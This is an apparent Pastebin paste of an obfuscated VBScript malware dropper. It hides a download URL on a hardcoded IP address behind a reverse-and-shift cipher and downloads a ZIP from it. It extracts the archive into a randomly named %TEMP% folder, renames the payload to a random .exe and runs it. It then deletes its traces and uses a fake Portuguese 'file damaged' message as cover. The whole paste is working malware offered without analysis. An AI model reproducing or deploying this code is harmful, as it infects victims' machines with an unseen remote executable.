Advertisement
aguiafurtiva

Untitled

Jul 15th, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. JASDASIDFJDFASDA = "TMP"
  2. GYSIKLMOPBPSJ = "qnu/4pmvepn08ubmg0932/:13/74/3600;quui"
  3.  
  4.  
  5. Function geratexto
  6. Dim Cadena, Letra, NumRnd, Clave
  7. Cadena = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_0123456789"
  8. For i = 1 To 15
  9.     Randomize()
  10.     NumRnd = Round(Rnd() * (Len(Cadena) - 1)) + 1
  11.     Letra = Mid(Cadena, NumRnd, 1)
  12.     Clave = Clave + Letra
  13. Next
  14. geratexto= Clave
  15. End Function
  16.  
  17. Private Function Decrypt(ByVal encryptedstring)
  18.     Dim x, i, tmp
  19.     encryptedstring = StrReverse( encryptedstring )
  20.     For i = 1 To Len( encryptedstring )
  21.         x = Mid( encryptedstring, i, 1 )
  22.         tmp = tmp & Chr( Asc( x ) - 1 )
  23.     Next
  24.     Decrypt = tmp
  25. End Function
  26.  
  27. BASDFWQERQ2341Q111 = geratexto
  28. base1 = Decrypt("&BUBEQQB&")
  29.  
  30. Dim objWShell
  31. Set objWShell = WScript.CreateObject("WScript.Shell")
  32. Dim PASDJALSDA
  33. PASDJALSDA = objWShell.expandEnvironmentStrings(base1)
  34.  
  35. Dim verif
  36. Dim dt
  37. dt=now
  38.  
  39.   Set verif = CreateObject("Scripting.FileSystemObject")
  40.    If verif.FileExists(PASDJALSDA & "\temp_"& day(dt)&"_"&hour(dt) &".tmp") Then
  41.       wscript.echo "O arquivo está danificado e não pode ser restaurado"  
  42.       wscript.quit
  43.    End If
  44.  
  45. Set objFSO = CreateObject("Scripting.FileSystemObject")
  46. Set objTextFile = objFSO.CreateTextFile(PASDJALSDA & "\temp_"& day(dt)&"_"&hour(dt) &".tmp", True)
  47. objTextFile.Close
  48.  
  49.  
  50.  
  51. Dim filepov, newfolder, newfolderpath
  52. newfolderpath = PASDJALSDA &"\"& BASDFWQERQ2341Q111  
  53. set filepov=CreateObject("Scripting.FileSystemObject")
  54. If Not filepov.FolderExists(newfolderpath) Then
  55. Set newfolder = filepov.CreateFolder(newfolderpath)
  56. End If
  57.  
  58. Function getfileshttp(strLink,pasta)
  59.     strSaveName = Mid(strLink, InStrRev(strLink,"/") + 1, Len(strLink))
  60.     strSaveName = Mid(strSaveName, 1,InStrRev(strSaveName,".",-1,1)-1 )
  61.     strSaveTo = pasta  &"\"& strSaveName &".zip"
  62.  
  63. 'arquivi_a  = Mid(Decrypt(GYSIKLMOPBPSJ), InStrRev(Decrypt(GYSIKLMOPBPSJ),"/") +1 )
  64. 'arquivi_b  = Mid(arquivi_a, 1,InStrRev(arquivi_a,".",-1,1)-1 )
  65.  
  66.  
  67. 'Mid(arquivi_a, 1,InStrRev(arquivi_a,".",-1,1)-1 )
  68.  
  69.     Set WQEFASDFASDF12342ASDFA = CreateObject( "WinHttp.WinHttpRequest.5.1" )
  70.     WQEFASDFASDF12342ASDFA.Open "GET", strLink, False
  71.     WQEFASDFASDF12342ASDFA.Send
  72.     Set objFSO = CreateObject("Scripting.FileSystemObject")
  73.     'If objFSO.FileExists(strSaveTo) Then
  74.    'objFSO.DeleteFile(strSaveTo)
  75.    'End If
  76.  
  77.     If WQEFASDFASDF12342ASDFA.Status = 200 Then
  78.        Dim objStream
  79.        Set objStream = CreateObject("ADODB.Stream")
  80.        With objStream
  81.            .Type = 1 'adTypeBinary
  82.           .Open
  83.            .Write WQEFASDFASDF12342ASDFA.ResponseBody
  84.            .SaveToFile strSaveTo
  85.            .Close
  86.        End With
  87.        set objStream = Nothing
  88.      End If
  89.  
  90. set objShell = CreateObject("Shell.Application")
  91. set FilesInZip=objShell.NameSpace(strSaveTo).items
  92. objShell.NameSpace(PASDJALSDA &"\"& BASDFWQERQ2341Q111&"\").CopyHere(FilesInZip)
  93. Set fso = Nothing
  94. Set objShell = Nothing
  95.  
  96. Set obj = CreateObject("Scripting.FileSystemObject")
  97. obj.DeleteFile(strSaveTo)
  98.  
  99. Dim FSO
  100.   Set FSO = CreateObject("Scripting.FileSystemObject")
  101.   strFile = pasta &"\"& strSaveName & "."& JASDASIDFJDFASDA
  102.   strRename = pasta &"\"& geratexto & ".exe"
  103.    If FSO.FileExists(strFile) Then
  104.         FSO.MoveFile strFile, strRename
  105.    End If
  106.  
  107.   Set FSO = Nothing
  108.  
  109. Dim objShell
  110. Set objShell = WScript.CreateObject( "WScript.Shell" )
  111. objShell.Run(strRename)
  112. End Function
  113.  
  114.  
  115.  
  116. Call getfileshttp(Decrypt(GYSIKLMOPBPSJ),PASDJALSDA &"\"& BASDFWQERQ2341Q111 )
  117.  
  118.  
  119.  
  120. Set obj = CreateObject("Scripting.FileSystemObject")
  121. obj.DeleteFile(PASDJALSDA & "\_temp.tmp")
  122.  
  123. wscript.quit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement